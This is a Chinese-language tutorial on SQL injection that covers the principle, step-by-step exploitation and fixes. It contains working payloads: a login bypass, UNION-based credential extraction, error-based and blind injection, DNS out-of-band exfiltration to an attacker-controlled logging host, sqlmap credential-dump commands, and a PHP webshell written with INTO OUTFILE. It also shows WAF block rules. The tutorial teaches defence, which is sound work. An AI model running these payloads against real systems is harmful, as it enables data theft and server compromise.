文章目录
SQL注入的原理、利用方式、防范措施
漏洞原理
SQL注入攻击的核心原因在于程序员在开发Web应用时,未对用户提交的参数进行严格的过滤和校验。攻击者通过构造恶意输入,篡改原始SQL语句的逻辑,使数据库执行非预期的操作,例如泄露敏感数据、篡改或删除数据,甚至通过数据库执行系统命令。
一句话: 服务端未对用户输入的参数进行严格过滤或参数化处理,导致攻击者构造的恶意SQL语句被执行,从而泄露、篡改或删除敏感数据。
利用步骤
1.查找注入点
-
一句话简单概括就是: 前端页面上所有提交数据的地方,不管是登录、注册、留言板、评论区、分页、URL参数等等地方,只要是提交数据给后台,后台拿着该数据和数据库交互了,那么这个地方就可能存在注入点。
-
示例场景:
-
登录页面:用户名或密码输入框。
-
商品搜索:搜索关键词参数(如
?search=product
)。 -
URL参数:如
/article.php?id=1
中的id
参数。
-
-
利用万能语句
' or 1=1 #
,尝试注入
2.判断数据库类型
- 方法:通过注入特殊字符或函数,观察返回的错误信息。
- MySQL特征:
- 错误信息包含
MySQL
、You have an error in your SQL syntax
等关键词。 - 示例:输入
'
触发语法错误,返回类似ERROR 1064 (42000)
的错误码。
- 错误信息包含
3.构造注入语句
联合查询(union select)
-
目的:跨表查询敏感信息
-
示例:
union select username, password from users
- 解释:通过
UNION
合并两个查询结果,获取users
表中的用户名和密码。
- 解释:通过
-
示例2:
union select 1,group_concat(schema_name) from information_schema.schemata+--+
- 解释:获取所有数据库名(数字1,用来满足union的参数数量的使用规则)
报错注入
-
目的:利用数据库报错信息泄露数据
-
示例:
abc' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
- 解释:利用
updatexml()
,第二个参数不符合参数语法格式来报错,爆数据库版本信息。(0x7e是“~”的16进制,用来避免引号冲突和后台引号限制的绕过)
- 解释:利用
布尔盲注
-
目的:通过页面返回状态(True/False)逐步猜测数据。
-
示例:
' AND ASCII(SUBSTR(DATABASE(),1,1))>112 # ' AND ASCII(SUBSTR(DATABASE(),1,1))<115 # ' AND ASCII(SUBSTR(DATABASE(),1,1))=113 #
- 解释:逐字符猜测数据库名称,若返回正常页面,则表示猜测正确。
- 注意:需要保证主查询语句正确响应,再尝试 payload 注入。
时间盲注
-
目的:通过请求延迟判断条件真假。
-
示例:
' AND IF(SUBSTR(DATABASE(),1,1)='s',SLEEP(5),NULL) #
- 解释:若数据库名首字母为
s
,则延迟5秒响应。 - 注意:需要保证主查询语句正确响应,再尝试 payload 注入。
- 解释:若数据库名首字母为
DNSlog注入
- 目的: 通过DNS查询外带数据。
DNSlog注入也可以称之为DNS带外查询,DNS在域名解析时会在DNS服务器上留下域名和解析IP的记录,可以在DNS服务器上查询相应的DNS解析记录,来获取我们想要的数据。
- 示例:
第一步: 使用DNSlog日志记录功能的网站
http://ceye.io/ 知道创宇公司提供的
查看自己的网址域名 gexxxx.ceye.io
第二步: 构建测试sql,将网址添加到sql语句中
father. // 是我携带的数据
select load_file('\\\\father.gexxxx.ceye.io\\abc');
第三步: 确保MySQL读取文件功能的配置项开启 secure_file_priv=""
第四步: 在mysql命令行先测试一下我们写好的payload
第五步: 查看日志记录
发现测试成功,能看到我们携带的 father 这个数据,可以构造payload了
第六步: 构建payload,开始注入
示例: 获取当前库名
' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.gexxxx.ceye.io\\abc'))) #
成功
4.自动化工具利用
-
工具示例:SQLmap
-
检测注入点:
sqlmap -u "http://example.com/page.php?id=1" --level=5 --risk=3
-
获取数据库名:
sqlmap -u "http://example.com/page.php?id=1" --dbs
-
提取数据:
sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users -C username,password --dump
-
利用场景
- 数据泄露:
- 攻击者获取用户表中的用户名、密码哈希,甚至信用卡信息。
- 权限提升:
- 通过注入写入Webshell(如
SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'
)。
- 通过注入写入Webshell(如
- 数据库破坏:
- 执行
DROP TABLE
或TRUNCATE
语句删除关键数据。
- 执行
修复建议
-
参数化查询:
-
使用预编译语句(如PHP的PDO、Python的
sqlite3
模块)。 -
危险代码:
$query = "SELECT * FROM users WHERE username='{$_POST['username']}'";
-
安全代码:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=?"); $stmt->execute([$_POST['username']]);
-
-
输入验证:
- 对用户输入进行白名单校验(如仅允许字母、数字)。
- 示例:使用正则表达式过滤非预期字符。
-
最小权限原则:
- 数据库用户仅授予必要权限(如禁止
FILE
权限防止文件读写)。
- 数据库用户仅授予必要权限(如禁止
-
错误信息隐藏:
- 禁止向用户返回详细错误信息(如
mysqli_error()
)。 - 示例:记录错误到日志,而非显示在页面。
- 禁止向用户返回详细错误信息(如
-
Web应用防火墙(WAF):
- 部署WAF(如ModSecurity)拦截恶意请求。
- 规则示例:阻断含
UNION SELECT
、SLEEP()
的请求。
结语
SQL注入的本质是信任边界的缺失。通过结构化攻击步骤(找点→判型→构造→利用)和防御措施(参数化+验证+最小权限),可有效降低风险。